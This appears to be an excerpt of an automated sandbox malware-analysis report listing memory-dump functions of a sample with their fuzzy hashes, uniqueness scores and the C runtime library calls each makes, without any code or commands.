Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction ID: 63e5dabac5e50bdb647ecf6401b8db64eb139f3c4e40c712b56527e96dd08af5
Opcode Fuzzy Hash: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction Fuzzy Hash: E551DD229257B945EBC3DA3D88504AEBBE0BE49106B460557DCD0B3181C72EDE4DB7E4

Uniqueness

Uniqueness Score: -1.00%

Function 05DD7220 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction ID: f0ef39fb87bbcbabf7c087ccc32622f448b38fccad3fa450d398332d7bff4148
Opcode Fuzzy Hash: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction Fuzzy Hash: C4417C72E1872E47E34CFE169C9421AB39397C0250F4A8B3CCE5A973C1DA35B926C6C1

Uniqueness

Uniqueness Score: -1.00%

Function 0449971C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003325383.0000000004498000.00000040.00000020.00020000.00000000.sdmp, Offset: 04498000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4498000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: 9da6076f53157c34ff24aaee98378b39fa756f651b340965011c139ea3910a0f
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: 023158B5816245DFCF15CE70D8D1AB6BBB0EF87224F1885DED0858B206D3366447EB94

Uniqueness

Uniqueness Score: -1.00%

Function 05DD70E0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction ID: 0490d86b4bce045c3c4fd50df124024f9d30e3e971c92668636fd4ef92e6cccb
Opcode Fuzzy Hash: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction Fuzzy Hash: 40315E7682976A4FC3D3FE61894010AF291FFC5118F4D4B6CCD505B690D73EAA4A9A82

Uniqueness

Uniqueness Score: -1.00%

Function 05DD7393 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction ID: 6554821c01a8fa3d2f2a7eb05a68a0db1abdec3f1d5c79325b7793689e55f228
Opcode Fuzzy Hash: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction Fuzzy Hash: 9C3126306183419FD741EF29C480A5BFBE0FFC8254F41DA5AF98897221D730E984CB62

Uniqueness

Uniqueness Score: -1.00%

Function 05DF18D0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 8a651747b522e78abd6528a3049a9d2aa84ef3e63613aefee5752d50c8d5345a
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 4F112977208182C3D60486AED8B45B693D5FBC6220B2F437BD3B34B658D122D141DB80

Uniqueness

Uniqueness Score: -1.00%

Function 05DDB000 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction ID: 9eb0d746c4bf04be3216c63df409a43d170dbd674bd1ed84af94adf103ca23cc
Opcode Fuzzy Hash: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction Fuzzy Hash: B9114F0A8492C4BDCF424A7840E56EBFFA68E3B218F4A71DAC8C44B743D01B150FE7A1

Uniqueness

Uniqueness Score: -1.00%

Function 044980A3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003325383.0000000004498000.00000040.00000020.00020000.00000000.sdmp, Offset: 04498000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4498000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 3352d76dfda5f08f7115bcd218851b0a731d2af09d2d6d16bcdabcf6639d5aa1
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: FA118272350100AFDF54DF59DC81FA677EAEB89360B19806AED08CB316E675EC42D760

Uniqueness

Uniqueness Score: -1.00%

Function 05DD0042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: a0c667d4b89f8b08d9b17e9ec1244e7f1588fd36b86ba9f8430e65f2fc4cdc94
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: E9117C72340100AFEB54DE65DC98EB6B3EAFB88220B198166E908CB351F676E841C760

Uniqueness

Uniqueness Score: -1.00%

Function 05DDA79A Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction ID: 2171f14de095971ce99d3b8a5c03f15d6e88b3d0eeaa7b279bc14600646ac797
Opcode Fuzzy Hash: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction Fuzzy Hash: 92012876810662ABD740DF3EC8C045AFBF1BB082117528B2ADC9083A41D334E662DBE8

Uniqueness

Uniqueness Score: -1.00%

Function 05DF6437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 05DF644E

Part of subcall function 05DF9636: __calloc_impl.LIBCMT ref: 05DF9645

__calloc_crt.LIBCMT ref: 05DF6472
_free.LIBCMT ref: 05DF6480
__calloc_crt.LIBCMT ref: 05DF648E
_free.LIBCMT ref: 05DF649E
_free.LIBCMT ref: 05DF64A4
__copytlocinfo_nolock.LIBCMT ref: 05DF64B3
__setmbcp_nolock.LIBCMT ref: 05DF64D4
_free.LIBCMT ref: 05DF64E2
___removelocaleref.LIBCMT ref: 05DF64E9
___freetlocinfo.LIBCMT ref: 05DF64F0
_free.LIBCMT ref: 05DF64F6

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 4f620b39587d60cd88a05e8ec2825413131bf58832e8d2c6b0fc893c4861d1b0
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: F021D531708601EEEB317F65DC09E1BBBE5EF41760B53802BE78655AA0EA22C550CB71

Uniqueness

Uniqueness Score: -1.00%

Function 05DF3F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05DF3F51

Part of subcall function 05DF5BA8: __getptd_noexit.LIBCMT ref: 05DF5BA8

__gmtime64_s.LIBCMT ref: 05DF3FEA
__gmtime64_s.LIBCMT ref: 05DF4020
__gmtime64_s.LIBCMT ref: 05DF403D
__allrem.LIBCMT ref: 05DF4093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05DF40AF
__allrem.LIBCMT ref: 05DF40C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05DF40E4
__allrem.LIBCMT ref: 05DF40FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05DF4119
__invoke_watson.LIBCMT ref: 05DF418A

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 7de5515488999a0f605b7696cfb69379a3728b1260caee60c870b281f4091612
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: F371D671B01716BBEB249E69CC44B6BB3B9FF10264F16462BEA54D6680E770DA808790

Uniqueness

Uniqueness Score: -1.00%

Function 05DF650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 05DF6547
__calloc_crt.LIBCMT ref: 05DF6598
__lock.LIBCMT ref: 05DF65AE
__copytlocinfo_nolock.LIBCMT ref: 05DF65BF
_wcscmp.LIBCMT ref: 05DF65F9
__lock.LIBCMT ref: 05DF6610
__updatetlocinfoEx_nolock.LIBCMT ref: 05DF6622
___removelocaleref.LIBCMT ref: 05DF6628
__updatetlocinfoEx_nolock.LIBCMT ref: 05DF6647

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 5e404ed1550e3ace9211abaa7ad648af1c3f8b1efb14e2aa37263391254df047
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 3F411532A04304AFDB00AFA4ED48B9E3BE5FF04314F12846FEB1496690DB76D645DB25

Uniqueness

Uniqueness Score: -1.00%

Function 05DF84AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 05DF84B1
_free.LIBCMT ref: 05DF84E2
_free.LIBCMT ref: 05DF84F5
_free.LIBCMT ref: 05DF8513
_free.LIBCMT ref: 05DF8525
_free.LIBCMT ref: 05DF8536
_free.LIBCMT ref: 05DF8541
_free.LIBCMT ref: 05DF8565
_free.LIBCMT ref: 05DF8581
_free.LIBCMT ref: 05DF8597
_free.LIBCMT ref: 05DF85BF

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: e88781716faf56be41e6af26ee681ced89ded916bc7e2fe266b06208f3079ec8
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 7131B131A00250DBCB21AF54FC8885977B4FB14330746862BEB06573A0CBB459CDEFA6

Uniqueness

Uniqueness Score: -1.00%

Function 05E1FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05E1FC1F

Part of subcall function 05E0169C: std::exception::_Copy_str.LIBCMT ref: 05E016B5

__CxxThrowException@8.LIBCMT ref: 05E1FC34
std::exception::exception.LIBCMT ref: 05E1FC4D
__CxxThrowException@8.LIBCMT ref: 05E1FC62
std::regex_error::regex_error.LIBCPMT ref: 05E1FC74

Part of subcall function 05E1F914: std::exception::exception.LIBCMT ref: 05E1F92E

__CxxThrowException@8.LIBCMT ref: 05E1FC82
std::exception::exception.LIBCMT ref: 05E1FC9B
__CxxThrowException@8.LIBCMT ref: 05E1FCB0

Strings

leM, xrefs: 05E1FCA8

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: ab0dce7edc6f4d2bcd60e0b2ae02f9648d309c394bd3b3b3669f7a759ae4b3dd
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 9F11FE79D0020DBBCF04FFA5E859CDDBB7CAA04344F409566AD54AB280EB74E388CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05DDF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 05DDF01F

Part of subcall function 05DF1602: __FF_MSGBANNER.LIBCMT ref: 05DF1619
Part of subcall function 05DF1602: __NMSG_WRITE.LIBCMT ref: 05DF1620

_malloc.LIBCMT ref: 05DDF02B
_wprintf.LIBCMT ref: 05DDF03E
_free.LIBCMT ref: 05DDF044
_free.LIBCMT ref: 05DDF065
_malloc.LIBCMT ref: 05DDF06D
_sprintf.LIBCMT ref: 05DDF0C0
_wprintf.LIBCMT ref: 05DDF0D2
_wprintf.LIBCMT ref: 05DDF0DC
_free.LIBCMT ref: 05DDF0E5

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 13b768c1280a9337e8751030d89c077c228639b8877b0a3e5b98611d79915575
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 4511E7B67405546AC26167F59C15FFF7AECDF46711F09006BFB8DD2180DA185A0493B2

Uniqueness

Uniqueness Score: -1.00%

Function 05DE1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05DE19C6
__CxxThrowException@8.LIBCMT ref: 05DE19F1
__CxxThrowException@8.LIBCMT ref: 05DE1A1A
__CxxThrowException@8.LIBCMT ref: 05DE1A4B
_memset.LIBCMT ref: 05DE1A6A
__CxxThrowException@8.LIBCMT ref: 05DE1A90
_malloc.LIBCMT ref: 05DE1AA0
_memset.LIBCMT ref: 05DE1AAB
_sprintf.LIBCMT ref: 05DE1ACE

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: c2e7b81a522a980d0532425d4008bb849ce071f653afab51b45235319a4127e9
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: E2510B71E40219ABDB11EBE5DC8AFEFBBB8FB04744F140026FA05B6190E7745A05CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DDF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05DDF284
__CxxThrowException@8.LIBCMT ref: 05DDF2AF
__CxxThrowException@8.LIBCMT ref: 05DDF2DE
__CxxThrowException@8.LIBCMT ref: 05DDF30F
_memset.LIBCMT ref: 05DDF32E
__CxxThrowException@8.LIBCMT ref: 05DDF354
_sprintf.LIBCMT ref: 05DDF373

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: d567bc77c1af82fa88392436c20166774b25e8cb5a8a77d0c8e6aed807cad570
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: B85140B1E4020AAADF11DFA1DC46FEEBBB9FB05704F104026F906B6180D775AA05CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 05DDF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05DDF4B7
__CxxThrowException@8.LIBCMT ref: 05DDF4E2
__CxxThrowException@8.LIBCMT ref: 05DDF504
__CxxThrowException@8.LIBCMT ref: 05DDF535
_memset.LIBCMT ref: 05DDF554
__CxxThrowException@8.LIBCMT ref: 05DDF57A
_sprintf.LIBCMT ref: 05DDF594

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 071e4257bc784185cb25e2545240aa414108f1db3e96858c4f7bb9b2e23e6b38
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 62514071E40209AADF15DFA1DC85FFEBBB9FB04744F10012AF906B7180E674AA058BB5

Uniqueness

Uniqueness Score: -1.00%

Function 05E1208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 05E120C6
__invoke_watson.LIBCMT ref: 05E12120
_strlen.LIBCMT ref: 05E120D4

Part of subcall function 05DF5BA8: __getptd_noexit.LIBCMT ref: 05DF5BA8

_strnlen.LIBCMT ref: 05E1215F
__lock.LIBCMT ref: 05E12170
__getenv_helper_nolock.LIBCMT ref: 05E1217B

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: c22b1ee6395c3b76954d0a9eef23ed8fd4ed0f1aeccaa3ac51b05803e715708f
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: CB315B36B043116BEB21AF76DC04BAE3754EF05B68F165112EF46DF280DB74890083B9

Uniqueness

Uniqueness Score: -1.00%

Function 05E966D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 05E966DD

Part of subcall function 05DF59BF: __calloc_crt.LIBCMT ref: 05DF59E2
Part of subcall function 05DF59BF: __initptd.LIBCMT ref: 05DF5A04

__calloc_crt.LIBCMT ref: 05E96700
__get_sys_err_msg.LIBCMT ref: 05E9671E
__invoke_watson.LIBCMT ref: 05E9673B
__get_sys_err_msg.LIBCMT ref: 05E9676D
__invoke_watson.LIBCMT ref: 05E9678B

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: 1fec9a1761d762992e0b131a9d36dbb0d04c30d38429edd9656baa809bebc208
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 6111C1367042186BFF296B259C04EBB739DEF006A8F021427FE88EA241E721DD0043E4

Uniqueness

Uniqueness Score: -1.00%

Function 05DE2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DE26DB
_memset.LIBCMT ref: 05DE2A30
_memset.LIBCMT ref: 05DE2AC0

Strings

D, xrefs: 05DE2AC8

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: ec8277efa732cc09819857d5cdae6b7a3e37bf67966dba7dd63488451dd868e6
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 64E16E75D40219EBDF24EBA0CD89FEEB7BCBF04304F14406AE509A6190EB74AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 05DDD8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DDD8EA

Strings

$, xrefs: 05DDDAE2
, xrefs: 05DDDADB
(, xrefs: 05DDDAE9

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 4a2aa44cf91ce9eddc648e3b072d552fe0e8780e72f4c68305a23692dbb0d01a
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 20919E71D00218EAEF21EFA4CC59BEEBBB5EF05308F14416AD505772C0DBB65A48CB65

Uniqueness

Uniqueness Score: -1.00%

Function 05DF5CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 05DF5CF4

Strings

U, xrefs: 05DF5CFD

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: c9d0fdab938489cec948ffb3a31db8ae209554e7e697fc210fc138df30f4a2f1
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 3921D8326192087AEB00DBA4FC49FBA739DEB45650F524167FB49C6190FA71EA4087A4

Uniqueness

Uniqueness Score: -1.00%

Function 05DEA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DEA858
_memset.LIBCMT ref: 05DEA869
_memset.LIBCMT ref: 05DEA87A

Strings

p2Q, xrefs: 05DEA882

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 984ceb362d95c0ce49f8360e863073572cbb67a2117976e8b0d254fff725bf9a
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 69F0E578694750A5F7117750FC2A7957E917B31B04F104045D1142E3E1D3FD234C679A

Uniqueness

Uniqueness Score: -1.00%

Function 05E1FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05E1FBF1

Part of subcall function 05E0169C: std::exception::_Copy_str.LIBCMT ref: 05E016B5

__CxxThrowException@8.LIBCMT ref: 05E1FC06

Strings

TeM, xrefs: 05E1FBE7, 05E1FBFB
TeM, xrefs: 05E1FBFE

Memory Dump Source

